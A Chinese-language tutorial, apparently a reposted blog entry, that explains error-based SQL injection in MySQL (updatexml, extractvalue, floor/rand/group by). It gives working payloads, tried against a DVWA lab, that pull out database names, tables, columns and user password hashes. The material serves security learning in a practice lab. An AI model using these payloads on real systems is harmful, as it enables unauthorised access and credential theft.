SQL注入實戰之報錯注入篇(updatexml extractvalue floor)


知識鋪墊

在上一篇中我們在漏洞頁面中進行了SQL注入實戰之聯合查詢,這篇文章帶來的是SQL注入之報錯注入篇。

首先我們來細分一下SQL注入分類


SQL注入分類:

  • 回顯正常---> 聯合查詢  union select
  • 回顯報錯---> Duplicate entry()
                         extractvalue()
                    updatexml()
  • 盲注        --->布爾型盲注
                          基於時間的盲注sleep()

在探討SQL注入之報錯注入之前,有一個前提就是頁面能夠響應詳細的錯誤描述,然而mysql數據庫中顯示錯誤描述是因為開發程序中采用了print_r  mysql_error()函數,將mysql錯誤信息輸出。

還有就是一起默寫一下SQL注入的核心語句吧,鞏固記憶的同時,方便后續注入的使用~

information_schema

schemata(schema_name)

tables(table_schema,table_name)

columns(table_schema,table_name,column_name)

select schema_name from information_schema.schemata;

select table_name from information_schema.tables where table_schema='dvwa';

select column_name from information_schema.columns where table_name='users' and table_schema='dvwa';

select concat(username,password) from dvwa.users;


xpath報錯注入(extractvalue和updatexml)

一、知識鋪墊(請認真研讀)

  • 在mysql高版本(大於5.1版本)中添加了對XML文檔進行查詢和修改的函數:

    updatexml()

    extractvalue()

    當這兩個函數在執行時,如果出現xml文檔路徑錯誤就會產生報錯

  • updatexml()函數
    • updatexml()是一個使用不同的xml標記匹配和替換xml塊的函數。

    • 作用:改變文檔中符合條件的節點的值

    • 語法: updatexml(XML_document,XPath_string,new_value) 第一個參數:是string格式,為XML文檔對象的名稱,文中為Doc 第二個參數:代表路徑,Xpath格式的字符串例如//title【@lang】 第三個參數:string格式,替換查找到的符合條件的數據

    • updatexml使用時,當xpath_string格式出現錯誤,mysql則會爆出xpath語法錯誤(xpath syntax)

    • 例如: select * from test where ide = 1 and (updatexml(1,0x7e,3)); 由於0x7e是~,不屬於xpath語法格式,因此報出xpath語法錯誤。

     



  • extractvalue()函數
    • 此函數從目標XML中返回包含所查詢值的字符串 語法:extractvalue(XML_document,xpath_string) 第一個參數:string格式,為XML文檔對象的名稱 第二個參數:xpath_string(xpath格式的字符串) select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

    • extractvalue使用時當xpath_string格式出現錯誤,mysql則會爆出xpath語法錯誤(xpath syntax)

    • select user,password from users where user_id=1 and (extractvalue(1,0x7e));

    • 由於0x7e就是~不屬於xpath語法格式,因此報出xpath語法錯誤。



二、updatexml()報錯注入實戰(基於dvwa平台)

前景提示:本人在虛擬機中搭建好了dvwa平台,在本機中完成SQL注入實戰,加載dvwa直接進入SQL注入模塊,我這里的等級為low。

我將自己構造的payload語句進行加粗顯示,剩下的都是固定格式。


開始注入

爆出數據庫及相關信息
1' and updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1)#

 

 

 爆當前數據庫表信息

1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) #

 

 

 注:此處使用group_concat()函數進行輸出,否則會出現錯誤。如下圖所示。

 

 

 爆user表字段信息

1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'),0x7e),1) #

 

 

 

爆數據庫內容

1' and updatexml(1,concat(0x7e,(select group_concat(first_name,0x7e,last_name) from dvwa.users)),1) #

 

 

 


三、extractvalue()報錯注入實戰(基於dvwa平台)
extractvalue()函數其實與updatexml()函數大同小異,都是通過xpath路徑錯誤報錯,而本人的示例中皆為利用0x7e(~),其不屬於xpath語法格式,因此報出xpath語法錯誤。

1' and extractvalue(1,concat(0x7e,user(),0x7e,database())) #

 

 

 


1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) #

 

 

 


1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))) #

 

 

 


1' and extractvalue(1,concat(0x7e,(select group_concat(user_id,0x7e,first_name,0x3a,last_name) from dvwa.users))) #

 

 

 

floor()函數報錯注入

一、概述

原理:利用select count(*),floor(rand(0)*2)x from information_schema.character_sets group by x;導致數據庫報錯,通過concat函數連接注入語句與floor(rand(0)*2)函數,實現將注入結果與報錯信息回顯的注入方式。

二、函數理解

附帶一下本次解釋函數的表創建步驟(不再附圖)以及數據的填充。

create database test1;
use test1;

create table czs(id int unsigned not null primary key auto_increment, name varchar(15) not null);

insert into czs(id,name) values(1,'chenzishuo');
insert into czs(id,name) values(2,'zhangsan');
insert into czs(id,name) values(3,'lisi');
insert into czs(id,name) values(4,'wangwu');

  • rand()函數
    rand()可以產生一個在0和1之間的隨機數

     

     

     

     可以看出,直接使用rand函數每次產生的數值不一樣,但當我們提供了一個固定的隨機數的種子0之后,每次產生的值都是相同的,這也可以稱之為偽隨機。

     

     



  • floor (rand(0)*2)函數
    floor函數的作用就是返回小於等於括號內該值的最大整數。
    rand()本身是返回0~1的隨機數,但在后面*2就變成了返回0~2之間的隨機數。
    配合上floor函數就可以產生確定的兩個數,即0和1。
    並且結合固定的隨機數種子0,它每次產生的隨機數列都是相同的值。
    此處的myclass 表為含有四行數據的表。
    結合上述的函數,每次產生的隨機數列都是 0 1 1 0

     

     

  •  

    group by 函數
    group by 函數,作用就是分類匯總。
    等一下再說group by,我們首先看一下我的表。

     

     再在id 和 name后分別放入a x,意思就是id顯示為a name顯示為x。

     

     然后使用group by 函數進行分組,並且按照x(name)進行排序。


     

     

     友情提示:在使用group by 函數進行分類時,會因為mysql版本問題而產生問題,主要是啟用了ONLY_FULL_GROUP_BY SQL模式(默認情況下),MySQL將拒絕選擇列表,HAVING條件或ORDER BY列表的查詢引用在GROUP BY子句中既未命名的非集合列,也不在功能上依賴於它們。(或者自行百度解決)
    https://blog.csdn.net/weixin_41991232/article/details/82803170

  • count(*)函數
    count(*)函數作用為統計結果的記錄數。

     

     這就是對重復的數據進行整合計數,x就是每個name的數量,我這里每個只有一個當然count(*)都為1了。

  • 綜合使用產生報錯
    select count(*),floor(rand(0)*2) x from czs group by x;
    當count(*)和group by x同時執行時,就會爆出duplicate entry錯誤。

     

     

     根據前面的函數,這句話是統計后面的floor(rand(0)*2)from czs產生的隨機數種類並計算數量,0110,應該是兩個兩個,但是最后卻報錯了。

    報錯原因解析

    通過 floor 報錯的方法來爆數據的本質是 group by 語句的報錯。group by 語句報錯的原因
    是 floor(random(0)*2)的不確定性,即可能為 0 也可能為 1
    group by key 執行時循環讀取數據的每一行,將結果保存於臨時表中。讀取每一行的 key 時,
    如果 key 存在於臨時表中,則更新臨時表中的數據(更新數據時,不再計算 rand 值);如果
    該 key 不存在於臨時表中,則在臨時表中插入 key 所在行的數據。(插入數據時,會再計算
    rand 值)
    如果此時臨時表只有 key 為 1 的行不存在 key 為 0 的行,那么數據庫要將該條記錄插入臨
    時表,由於是隨機數,插時又要計算一下隨機值,此時 floor(random(0)*2)結果可能為 1,就
    會導致插入時沖突而報錯。即檢測時和插入時兩次計算了隨機數的值
    實際測試中發現,出現報錯,至少要求數據記錄為 3 行,記錄數超過 3 行一定會報錯,2 行
    時是不報錯的。

     

三、實戰注入(基於dvwa平台)

①判斷是否存在報錯注入
id=1' union select count(*),floor(rand(0)*2) x from information_schema.schemata group by x#

 

 可以看出存在報錯注入
②爆出當前數據庫名

id=1' union select count(*),concat(floor(rand(0)*2),database()) x from information_schema.schemata group by x #
dvwa前的1 是哪個隨機數,不要大驚小怪哦~

 

 


③爆出表

id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(table_name) from information_schema.tables where table_schema='dvwa' limit 0,1)) x from information_schema.schemata group by x#

 

 


id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(table_name) from information_schema.tables where table_schema='dvwa' limit 1,1)) x from information_schema.schemata group by x#

 

 


④爆出字段名

id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa' limit 0,1)) x from information_schema.schemata group by x#

 

 改變limit限定數值,可以得出當前的字段 user_id first_name user password


⑤爆出user和password

id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(user,0x3a,password) from dvwa.users limit 0,1)) x from information_schema.schemata group by x#

 

 

再解碼可得 admin-password

 

 大功告成!~~!




免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM